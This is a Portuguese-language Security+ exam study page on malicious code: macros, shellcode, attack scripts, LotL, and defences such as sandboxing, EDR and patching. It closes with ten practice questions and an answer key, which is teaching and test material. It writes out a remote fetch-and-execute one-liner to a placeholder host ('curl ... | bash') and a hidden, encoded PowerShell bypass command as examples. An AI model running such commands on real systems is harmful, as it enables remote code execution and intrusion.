COMPTIA SECURITY+ SY0-701 DOMÍNIO 2 · AMEAÇAS, VULNERABILIDADES E MITIGAÇÕES (22%)

Security+ 2.4 · Malicious Code

Mestre CyberSec · **Aula 2.4 — Malicious Code** (3:40) · Assistir Vídeo no YouTube ↗ · Treino Interativo: edusouzamarques.github.io/cybersec

Resumo Executivo da Aula: Code do atacante: script customizado (Python/Bash/PowerShell) pra exploit conhecido; macro VBA de Office que baixa malware; shellcode. Defesa: patch, macro security (bloqueia externa), sandboxing, EDR behavioural, code review de script do usuário.

💡 Highlights que a prova CompTIA cobra

- Macro VBA de documento Office: clássico — executa código ao abrir
- Sandbox: isola código suspeito num ambiente controlado

🎯 Dicas de Prova & Cenários Típicos da Banca

- 'document that runs code when opened' = malicious macro

🚨 Além do Vídeo: Conceitos Oficiais, Siglas e Armadilhas (Seção 2.4 — Malicious Code)

Por que este aprofundamento é cobrado na prova?: O vídeo resume os tópicos práticos, mas o exame CompTIA SY0-701 cobra discernimento técnico rigoroso sobre as tecnologias e protocolos específicos desta seção:

• Macro VBA Maliciosa

Script escrito em Visual Basic for Applications embutido em documento Office (Word, Excel) que executa automaticamente quando o documento é aberto; vetor clássico de entrega para baixar e instalar malware.

⚠ ***Armadilha CompTIA:*** *Gatilho de prova: 'documento que executa código ao abrir' ou 'código embutido no Office' = macro maliciosa. Não confunda com shellcode (código de máquina do exploit) nem com script standalone. Defesa típica: macro security / bloquear macros de arquivos externos.*

• Segurança de Macros

Configuração de nível de aplicativo que controla a execução de macros, tipicamente ajustada para desabilitar todas as macros ou bloquear macros em arquivos baixados da Internet, permitindo apenas macros assinadas digitalmente.

⚠ ***Armadilha CompTIA:*** *A defesa direta contra macros maliciosas é a macro security (bloquear macros de fontes externas/Internet) — resposta esperada em cenários de documento Office. Não confunda com patching (corrigir falha de software) ou EDR (detecção comportamental).*

• Shellcode

Pequeno bloco de código de máquina injetado e executado como payload de um exploit, mais comumente escrito para gerar um shell de comandos para o atacante no host comprometido.

⚠ ***Armadilha CompTIA:*** *Distinção essencial de prova: macro = código em documento Office; script = código interpretado legível (Python/PowerShell); shellcode = payload de baixo nível em código de máquina. 'Payload que abre um shell' indica shellcode.*

• Script de Ataque Customizado

Código escrito pelo atacante em linguagens interpretadas como Python, Bash ou PowerShell que automatiza e adapta um exploit conhecido, alterando sua assinatura para contornar defesas baseadas em assinatura.

⚠ ***Armadilha CompTIA:*** *Exploits conhecidos são facilmente modificados via scripts, então antivírus por assinatura falha — defesas de base são patching e detecção comportamental (EDR). 'Código interpretado do atacante' → script; 'código embutido em documento' → macro.*

• Sandboxing (Execução Isolada)

Técnica de segurança que executa arquivos ou código suspeito em um ambiente virtual isolado e controlado para observar seu comportamento com segurança, detonando o malware sem expor o sistema de produção.

⚠️ ***Armadilha CompTIA:*** *Gatilho: 'executa código suspeito em ambiente isolado/analisa comportamento' = sandboxing. Distinção: sandbox analisa amostra dinamicamente em ambiente separado; EDR monitora o endpoint real. Malware sofisticado pode detectar o sandbox e ocultar comportamento (evasão).*

• Detecção e Resposta em Endpoints (EDR)

Plataforma de segurança que monitora continuamente processos e comportamentos dos endpoints para detectar, investigar e responder a código malicioso e atividades que o antivírus baseado em assinatura não identifica.

⚠️ ***Armadilha CompTIA:*** *Gatilho: 'detecção com base em comportamento no endpoint' = EDR — essencial contra scripts customizados e malware sem assinatura conhecida. Distinção: EDR age no endpoint real; sandbox isola e analisa amostras; IDS/IPS observam tráfego de rede.*

• Gerenciamento de Patches

Processo de identificar, testar e implantar atualizações de software que fecham vulnerabilidades conhecidas, eliminando as falhas exploradas por scripts de atacante, exploits e malware.

⚠️ ***Armadilha CompTIA:*** *Scripts de atacante geralmente exploram falhas JÁ conhecidas e corrigidas — 'exploit conhecido' no enunciado sugere resposta com patching/atualização. Distinção: patch corrige a vulnerabilidade de origem; macro security e EDR mitigam o vetor/entrega.*

• Revisão de Código

Inspeção manual ou automatizada do código-fonte — incluindo scripts escritos por usuários — para identificar falhas de software, vulnerabilidades ou funcionalidades maliciosas antes que o código rode em produção.

⚠️ ***Armadilha CompTIA:*** *No contexto de código malicioso: revisar scripts de usuário/automação antes de conceder privilégios ou executá-los em produção. Distinção: code review analisa o código em si (estático); sandbox executa em ambiente isolado (dinâmico).*

🏛️ Visão Didática, Analogias & Análise de Governança (GRC)

📌 Living off the Land (LotL) e LOLBins (LOLBas)

🏠 **Analogia Intuitiva:** Imagine um assaltante que decide invadir uma mansão sem carregar pé-de-cabra, máscara ou armas na mochila. Ele entra de mãos vazias, vai direto até a cozinha da vítima, pega uma faca do faqueiro da casa e usa as ferramentas da própria garagem para arrombar o cofre. Se um vizinho olhar pela janela, só vê o faz-tudo usando vassouras e chaves de fenda originais da própria residência. É exatamente isso que faz o atacante de LotL: usa ferramentas administrativas legítimas já instaladas no Windows ou Linux (como PowerShell, certutil, wmic ou curl) em vez de baixar softwares suspeitos.

🔍 **Causa Raiz / Por que foi criado:** Sistemas operacionais modernos incluem ferramentas robustas para automação de tarefas por administradores. Como esses executáveis são nativos, assinados digitalmente pela Microsoft ou pelo fornecedor do sistema operacional e confiáveis por padrão, antivírus tradicionais baseados em assinaturas de arquivos não os bloqueiam nem alertam sobre sua simples presença.

🛡️ **Visão do Auditor de GRC:** Implementar políticas rigorosas de integridade de código e listas de permissão de aplicativos (AppLocker ou WDAC - Windows Defender Application Control); auditar a ativação do PowerShell Constrained Language Mode (CLM); e monitorar no SIEM a criação de processos suspeitos através do Event ID 4688 com registro completo da linha de comando e Script Block Logging (Event ID 4104).

⚠️ **Como cai na Prova CompTIA:** Trigger: 'attacker uses pre-installed administrative utilities to download files, execute commands, and evade signature-based detection without dropping external malware executables' -> Living off the Land (LotL) / LOLBins. Ferramentas clássicas citadas na prova: certutil, PowerShell, wmic, bitsadmin, mshta.

📌 PowerShell e Burlar a Política de Execução (Execution Policy Bypass)

🏠 **Analogia Intuitiva:** A política de execução (Execution Policy) do PowerShell não é uma porta blindada com chaveiro eletrônico; é apenas uma placa de papel colada no vidro dizendo: 'Favor não apoiar as mãos na porta'. Se um invasor quiser, ele simplesmente ignora a placa passando o comando `-ExecutionPolicy Bypass` e abre a porta sem fazer nenhum esforço. O objetivo da placa nunca foi deter ladrões experientes, mas apenas alertar o funcionário desatento para não cometer um tropeço involuntário.

🔍 **Causa Raiz / Por que foi criado:** A Microsoft documenta explicitamente que a Execution Policy é uma proteção de conveniência/segurança contra acidentes (safety control), e não um limite rígido de segurança (security boundary). Comandos como `powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Enc` permitem rodar scripts codificados em base64 diretamente na memória RAM sem gravar nada no disco rígido (fileless execution).

🛡️ **Visão do Auditor de GRC:** Nunca aceitar a 'Execution Policy: Restricted' como controle compensatório em relatórios de auditoria. Exigir defesa em profundidade: habilitar AMSI (Antimalware Scan Interface), implementar WDAC para impedir execução de PowerShell não gerenciado, e habilitar o log completo de blocos de script (Script Block Logging) para auditoria forense.

⚠️ **Como cai na Prova CompTIA:** Trigger: 'administrator discovers PowerShell process running with parameters -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile'. Pegadinha da CompTIA: A banca pergunta se Execution Policy impede ataques intencionais; a resposta é NÃO, pois é facilmente contornável via linha de comando.

📌 VBA Macros e Documentos Armadilhados (Malicious Office Macros)

🏠 **Analogia Intuitiva:** É como receber uma correspondência de aparência bancária com uma etiqueta adesiva colada na capa: 'Para ler esta mensagem sigilosa, descole este adesivo e destranque a tranca da janela dos fundos'. A vítima, acreditando que precisa ver o boleto ou fatura urgente, clica em 'Habilitar Edição' ou 'Habilitar Conteúdo'. Ao descolar o adesivo, o script automatizado oculto no documento destranca o computador e faz o download de um ransomware em segundo plano.

🔍 **Causa Raiz / Por que foi criado:** O Visual Basic for Applications (VBA) foi criado para enriquecer a produtividade em planilhas e documentos, permitindo automatizar rotinas contábeis com poder de executar comandos no sistema operacional. Atacantes exploram a engenharia social enviando arquivos `.docm` ou `.xlsm` para enganar os colaboradores a desativar as defesas do aplicativo.

🛡️ **Visão do Auditor de GRC:** Aplicar política via GPO/Intune que bloqueia permanentemente a execução de macros em documentos obtidos da internet (respeitando o atributo Mark of the Web - MOTW); assinar digitalmente as macros internas autorizadas; e desativar extensões de macro em setores que não utilizam automação financeira.

⚠️ **Como cai na Prova CompTIA:** Trigger: 'employee opens an attached invoice document and is prompted to click Enable Content to view the blurry text, triggering a reverse shell'. Resposta: Malicious VBA Macro. Mitigação: Block macros from running in Office files downloaded from the internet via GPO.

📌 Bash Scripts e Automação Maliciosa em Linux (Linux Shell Scripting)

🏠 **Analogia Intuitiva:** É como um bilhete de instruções passo a passo deixado em cima da mesa para o encarregado da limpeza: 'Vá ao cofre, copie os documentos da pasta vermelha e envie por malote para a caixa postal 502'. No Linux, o Bash script encadeia comandos utilitários como `curl`, `wget`, `netcat` e `cron` em sequência rápida. O sistema obedece cegamente a cada linha porque o operador é o próprio interpretador de comandos padrão do servidor.

🔍 **Causa Raiz / Por que foi criado:** Servidores Linux de infraestrutura utilizam interpretadores de shell (.sh) para tarefas de provisionamento contínuo. Invasores usam canais de execução direta na memória (como `curl -s https://bad-site/script.sh | bash`) para burlar auditorias de disco e manter persistência via tarefas agendadas no crontab.

🛡️ **Visão do Auditor de GRC:** Restringir comandos via perfis de sudoers com privilégio mínimo; auditar modificações em `/etc/cron*` e `/var/spool/cron`; desabilitar interpretadores e utilitários de rede (como nc e curl) em contêineres e imagens de produção usando perfis SELinux/AppArmor.

⚠️ **Como cai na Prova CompTIA:** Trigger: 'analyst identifies a scheduled job running a shell script piped directly from an external web address (curl | bash) establishing persistence' -> Malicious Bash Script / Living off the Land.

⚡ TABELA DE FIXAÇÃO RÁPIDA PARA O EXAME (CHEAT SHEET)

Cenário Típico de Exame / Situação Prática	Conceito Técnico & Resposta da Banca
Atacante executa comandos e baixa arquivos usando ferramentas administrativas nativas já instaladas no Windows (certutil, powershell)	**Living off the Land (LotL) / LOLBins**
Script PowerShell é executado contornando restrições do sistema operacional através de parâmetro de linha de comando	**Execution Policy Bypass (-ExecutionPolicy Bypass)**
Planilha ou documento de texto enviado por phishing solicita que o usuário clique em 'Habilitar Edição' para executar código malicioso	**VBA Macro Maliciosa (Malicious Office Macro)**
Comando Linux faz o download de um script da internet e o executa imediatamente na memória do terminal sem gravar no disco	**Execução em Memória via Bash Script (curl | bash / Fileless)**
Recurso de segurança que impede a execução de scripts PowerShell arbitrários forçando o modo restrito de linguagem	**PowerShell Constrained Language Mode (CLM)**
Mecanismo do Windows que marca arquivos baixados da internet para que o Office bloqueie suas macros por padrão	**Mark of the Web (MOTW)**

✅ Perguntas de Treino Comentadas (10 Questões de Cenários Reais)

Cenários autênticos alinhados aos objetivos do exame. O gabarito com análise completa dos distratores encontra-se ao final.

QUESTÃO 1 · CENÁRIO DE EXAME

Um funcionário do setor financeiro recebe um e-mail com um arquivo Excel chamado Invoice_2024.xlsm. Ao abrir, o Excel exibe um aviso de segurança. Se as macros forem habilitadas, o código VBA usa PowerShell para baixar um executável de um site externo. A empresa usa Microsoft 365 Apps e quer impedir esse vetor de infecção inicial, permitindo ainda macros financeiras assinadas de um compartilhamento interno. Qual controle o administrador de segurança deve implementar?

A) Configurar o Office para bloquear macros em arquivos provenientes da Internet e confiar em macros assinadas de um local interno designado.

B) Implantar EDR para encerrar processos PowerShell gerados por aplicativos do Office.

C) Bloquear todos os anexos .xlsm no gateway de e-mail.

D) Instalar as atualizações cumulativas mais recentes do Windows em todos os endpoints.

QUESTÃO 2 · CENÁRIO DE EXAME

Um respondente de incidentes encontra um arquivo chamado update.sh em /tmp em um servidor Linux comprometido. O script contém comandos codificados em base64 que se conectam a 203.0.113.10, baixam um binário e exploram uma vulnerabilidade conhecida de execução remota de código. Qual categoria de código malicioso melhor descreve esse artefato?

A) Macro VBA malicioso

B) Shellcode

C) Script de ataque customizado

D) Nota de ransomware

QUESTÃO 3 · CENÁRIO DE EXAME

Um analista de segurança examina um documento do Word que contém um macro VBA. O macro chama VirtualAlloc com PAGE_EXECUTE_READWRITE, copia um array de bytes codificado para a memória alocada e então chama CreateThread. Qual técnica o macro provavelmente está usando?

A) Execução de script de ataque customizado

B) Execução de shellcode

C) Bypass de segurança de macro

D) Falha na gestão de patches

QUESTÃO 4 · CENÁRIO DE EXAME

Uma plataforma EDR alerta em uma estação de trabalho porque winword.exe gerou powershell.exe, que se conectou a um endereço IP externo e tentou criar uma tarefa agendada. O executável envolvido não tem assinatura maliciosa conhecida. Qual capacidade do EDR é mais importante para essa detecção?

A) Correspondência de hash baseada em assinatura

B) Análise comportamental da linhagem de processos e linhas de comando

C) Criptografia de disco completa

D) Prevenção de perda de dados

QUESTÃO 5 · CENÁRIO DE EXAME

A equipe de segurança recebe um arquivo .docm suspeito de um parceiro externo. Eles querem observar as conexões de rede, gravações de arquivos e alterações de registro do arquivo sem expor uma estação de trabalho corporativa. Qual abordagem eles devem usar?

A) Detonação em sandbox

B) Gestão de patches

C) Assinatura de macros

D) Revisão de código

QUESTÃO 6 · CENÁRIO DE EXAME

Uma equipe de administração Windows baixa scripts PowerShell de repositórios públicos para automatizar manutenção de servidores. Esses scripts são executados com altos privilégios. Qual controle melhor reduz o risco de código malicioso ou inseguro nesses scripts?

A) Exigir revisão de código e aprovação antes que os scripts sejam implantados em produção.

B) Habilitar bloqueio de macros no Microsoft Office.

C) Configurar sandbox para todos os scripts PowerShell.

D) Instalar assinaturas de antivírus diariamente.

QUESTÃO 7 · CENÁRIO DE EXAME

Um servidor web legado executa um sistema de gestão de conteúdo sem patch. Atacantes estão usando um script Python para explorar uma vulnerabilidade conhecida de execução remota de código nesse CMS. Qual remedia��ão impede mais diretamente que o exploit tenha sucesso?

A) Aplicar o patch de segurança do fornecedor.

B) Implantar EDR para detectar o processo Python.

C) Bloquear a execução de Python no servidor.

D) Habilitar segurança de macros no Office.

QUESTÃO 8 · CENÁRIO DE EXAME

Um usuário abre um arquivo Excel de um fornecedor externo. O arquivo contém um macro VBA que baixa um executável de uma URL. O arquivo foi salvo a partir de um anexo de e-mail e possui a Marca da Web. A empresa quer impedir que esse macro seja executado mesmo se o usuário clicar em Habilitar Conteúdo, permitindo ainda macros financeiras assinadas de um compartilhamento interno. Qual configuração do Office o administrador deve definir?

A) Bloquear macros em arquivos do Office provenientes da Internet e confiar em macros assinadas de um local interno designado.

B) Desabilitar todas as macros sem notificação para todos os usuários e arquivos.

C) Habilitar todas as macros com aviso e fornecer treinamento anual de conscientização de segurança.

D) Adicionar o domínio de e-mail do fornecedor externo aos Locais Confiáveis.

QUESTÃO 9 · CENÁRIO DE EXAME

Um testador de penetração entrega um payload que aloca memória em um processo alvo, escreve código de máquina específico da arquitetura nela e redireciona a execução para essa memória. O código não usa mecanismo de script e aparece apenas na memória. Qual tipo de código malicioso é esse?

A) Macro VBA

B) Shellcode

C) Script Bash customizado

D) Vírus de macro

QUESTÃO 10 · CENÁRIO DE EXAME

Um analista de segurança encontra um script Python não aprovado em uma estação de trabalho de desenvolvedor. O script escaneia servidores internos e tenta extrair credenciais. O desenvolvedor o baixou de um fórum e o executou com direitos de administrador de domínio. Qual falha de processo mais contribuiu para esse risco?

A) Falta de revisão de código e de menor privilégio para scripts executados por usuários

B) Configurações desatualizadas de segurança de macros do Office

C) Ausência de sandbox de e-mail

D) Falha na aplicação de patches do Windows

GABARITO COMENTADO COM ANÁLISE DE DISTRATORES

Questão 1: Alternativa A — Configurar o Office para bloquear macros em arquivos provenientes da Internet e confiar em macros assinadas de um local interno designado.

Correto: bloquear macros em arquivos originados da Internet impede a execução inicial do VBA malicioso, permitindo macros internas assinadas. EDR é detecção e resposta e pode agir após a execução; bloquear todos os .xlsm é restritivo demais; patch do Windows não impede um macro VBA de baixar payload.

Questão 2: Alternativa C — Script de ataque customizado

Correto: um script de ataque customizado geralmente é um script Bash, Python ou PowerShell criado para explorar uma vulnerabilidade conhecida ou automatizar etapas do ataque. Não é um macro VBA, não é shellcode bruto e não é apenas uma nota de resgate.

Questão 3: Alternativa B — Execução de shellcode

Correto: alocar memória executável, escrever bytes de código nela e transferir a execução é característico de execução de shellcode. Um script customizado dependeria de um interpretador como Python ou Bash; bypass de segurança de macro e falha de patch não são técnicas de execução de código em si.

Questão 4: Alternativa B — Análise comportamental da linhagem de processos e linhas de comando

Correto: a análise comportamental do EDR detecta relações e ações suspeitas de processos, como Office gerando PowerShell e criando tarefas agendadas, mesmo sem assinatura conhecida. Correspondência de hash pode não detectar código novo ou modificado; criptografia de disco e DLP não detectam essa cadeia de execução.

Questão 5: Alternativa A — Detonação em sandbox

Correto: a detonação em sandbox executa o arquivo suspeito em ambiente isolado e registra seu comportamento com segurança. Gestão de patches, assinatura de macros e revisão de código são controles preventivos ou de desenvolvimento, não métodos de análise dinâmica segura.

Questão 6: Alternativa A — Exigir revisão de código e aprovação antes que os scripts sejam implantados em produção.

Correto: revisão e aprovação de scripts de usuário ou administrador ajudam a detectar lógica maliciosa, comandos inseguros e erros antes da execução com altos privilégios. Bloqueio de macros do Office é irrelevante; sandbox para todo script administrativo é muitas vezes impraticável; assinaturas de antivírus não detectam scripts customizados de forma confiável.

Questão 7: Alternativa A — Aplicar o patch de segurança do fornecedor.

Correto: aplicar o patch da vulnerabilidade conhecida remove a falha que o script customizado explora. EDR pode detectar, mas não remove a vulnerabilidade; bloquear Python pode ser contornado e quebrar operações; segurança de macro do Office é irrelevante para um servidor web Linux.

Questão 8: Alternativa A — Bloquear macros em arquivos do Office provenientes da Internet e confiar em macros assinadas de um local interno designado.

Correto: bloquear macros originadas da Internet aborda diretamente o vetor Marca da Web, e um local interno confiável permite macros financeiras assinadas aprovadas. Desabilitar todas as macros é restritivo demais; habilitar todas é inseguro; confiar no domínio externo é arriscado e não é o controle correto.

Questão 9: Alternativa B — Shellcode

Correto: shellcode é código de máquina de baixo nível usado como payload, frequentemente injetado na memória e executado. Um macro VBA ou script Bash depende de um interpretador; um vírus de macro se espalha por documentos, mas não é definido por esse comportamento de injeção de memória.

Questão 10: Alternativa A — Falta de revisão de código e de menor privilégio para scripts executados por usuários

Correto: o script não foi revisado e foi executado com privilégios excessivos. Revisão de código e menor privilégio reduzem o impacto de scripts customizados maliciosos ou inseguros. Segurança de macros, sandbox de e-mail e patches não abordam um script não aprovado executado manualmente com direitos de administrador de domínio.